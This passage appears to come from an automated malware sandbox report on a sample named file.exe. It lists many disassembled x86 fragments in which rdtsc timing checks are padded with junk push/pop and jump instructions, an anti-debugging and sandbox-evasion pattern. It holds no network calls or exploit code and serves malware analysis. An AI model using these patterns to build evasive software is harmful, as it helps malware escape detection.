dword ptr [ebp+122D338Dh] 0x0000005f call dword ptr [ebp+1244CD82h] 0x00000065 push eax 0x00000066 push edx 0x00000067 push esi 0x00000068 pushad 0x00000069 popad 0x0000006a pop esi 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76367F second address: 76368B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F4FE44F82B6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763E04 second address: 763E0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766A1A second address: 766A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7664F7 second address: 766503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4FE48681C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766503 second address: 766510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F4FE44F82B8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766510 second address: 766515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766515 second address: 76655A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F4FE44F82C9h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f jmp 00007F4FE44F82C2h 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jno 00007F4FE44F82B6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76655A second address: 766567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnp 00007F4FE48681C6h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7699E4 second address: 7699F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769316 second address: 76931C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76931C second address: 76933A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F4FE44F82C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769499 second address: 7694A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7694A1 second address: 7694A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E569 second address: 76E58E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F4FE48681C6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E58E second address: 76E5B4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4FE44F82B6h 0x00000008 jl 00007F4FE44F82B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4FE44F82C1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD700 second address: 6CD71E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CDh 0x00000007 jmp 00007F4FE48681CAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771AB4 second address: 771AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771D57 second address: 771D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77691E second address: 77692E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F4FE44F82B6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776BD7 second address: 776BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776BDB second address: 776BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4FE44F82BEh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776BF5 second address: 776C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F4FE48681C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jl 00007F4FE48681F1h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776C0E second address: 776C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776EF8 second address: 776F06 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4FE48681C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776F06 second address: 776F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776F0A second address: 776F13 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776F13 second address: 776F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4FE44F82B6h 0x0000000a jmp 00007F4FE44F82C2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71961B second address: 71961F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71961F second address: 719660 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F4FE44F82C0h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3336h], ebx 0x00000014 push 00000004h 0x00000016 movsx edx, bx 0x00000019 nop 0x0000001a jp 00007F4FE44F82C2h 0x00000020 push eax 0x00000021 jo 00007F4FE44F82BEh 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77725C second address: 77727B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D5h 0x00000007 jp 00007F4FE48681C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77727B second address: 7772A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F4FE44F82E4h 0x0000000f pushad 0x00000010 jo 00007F4FE44F82B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7772A4 second address: 7772AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777CCF second address: 777CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777CD4 second address: 777CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnc 00007F4FE48681C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E146 second address: 77E14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E14B second address: 77E150 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E42C second address: 77E445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C3h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EA11 second address: 77EA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EA15 second address: 77EA1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F86B second address: 77F8C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F4FE48681D1h 0x0000000c jmp 00007F4FE48681CBh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jmp 00007F4FE48681CBh 0x00000019 jmp 00007F4FE48681D8h 0x0000001e pop edx 0x0000001f jmp 00007F4FE48681D9h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FBBE second address: 77FBC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FBC3 second address: 77FBCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F4FE48681C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FBCF second address: 77FBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78164F second address: 78166A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4FE48681C6h 0x00000008 jng 00007F4FE48681C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jg 00007F4FE48681C6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5D13 second address: 6D5D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5D19 second address: 6D5D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE48681CDh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4FE48681D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5D41 second address: 6D5D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789326 second address: 789330 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4FE48681CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78961D second address: 789621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789621 second address: 789646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F4FE48681C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78993A second address: 789948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4FE44F82B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792FAA second address: 792FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792FB0 second address: 792FBA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4FE44F82B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7913A4 second address: 7913C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4FE48681C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F4FE48681D0h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7917BD second address: 7917D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7917D8 second address: 7917F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7917F2 second address: 791814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jp 00007F4FE44F82BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791814 second address: 791842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4FE48681C8h 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F4FE48681CEh 0x00000012 jbe 00007F4FE48681C6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b js 00007F4FE48681CCh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C00 second address: 791C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C05 second address: 791C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4FE48681C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C0F second address: 791C6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C5h 0x00000007 jmp 00007F4FE44F82C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4FE44F82C4h 0x00000018 jmp 00007F4FE44F82C4h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791C6A second address: 791C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007F4FE48681C6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791DCD second address: 791DE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4FE44F82BBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791DE4 second address: 791DEA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791F2B second address: 791F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791F31 second address: 791F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79204C second address: 792079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C7h 0x00000007 pushad 0x00000008 jmp 00007F4FE44F82BFh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7926AB second address: 7926AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792DFC second address: 792E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F4FE44F82BAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799D31 second address: 799D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jne 00007F4FE48681C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C483 second address: 79C487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C487 second address: 79C497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F4FE48681CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A765F second address: 7A767B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4FE44F82C0h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A77E0 second address: 7A7800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F4FE48681D8h 0x0000000b jmp 00007F4FE48681CCh 0x00000010 jnl 00007F4FE48681C6h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7800 second address: 7A7808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3487 second address: 7B34A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F4FE48681E9h 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA701 second address: 7BA719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE44F82C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA719 second address: 7BA71D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BA71D second address: 7BA74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE44F82C4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4FE44F82C1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD21D second address: 7BD23E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b jns 00007F4FE48681C6h 0x00000011 jmp 00007F4FE48681CEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5BBE second address: 7C5BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5BD6 second address: 7C5BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4FE48681C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5BE2 second address: 7C5BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5BE8 second address: 7C5C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F4FE48681D2h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C0A second address: 7C5C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C10 second address: 7C5C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C17 second address: 7C5C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C1E second address: 7C5C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4495 second address: 7C449F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4FE44F82C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C449F second address: 7C44B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4FE48681C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4FE48681CCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C44B9 second address: 7C44CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4FE44F82C1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C460F second address: 7C461E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jp 00007F4FE48681C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C461E second address: 7C4624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4769 second address: 7C476D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C476D second address: 7C4773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4773 second address: 7C4783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F4FE48681C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
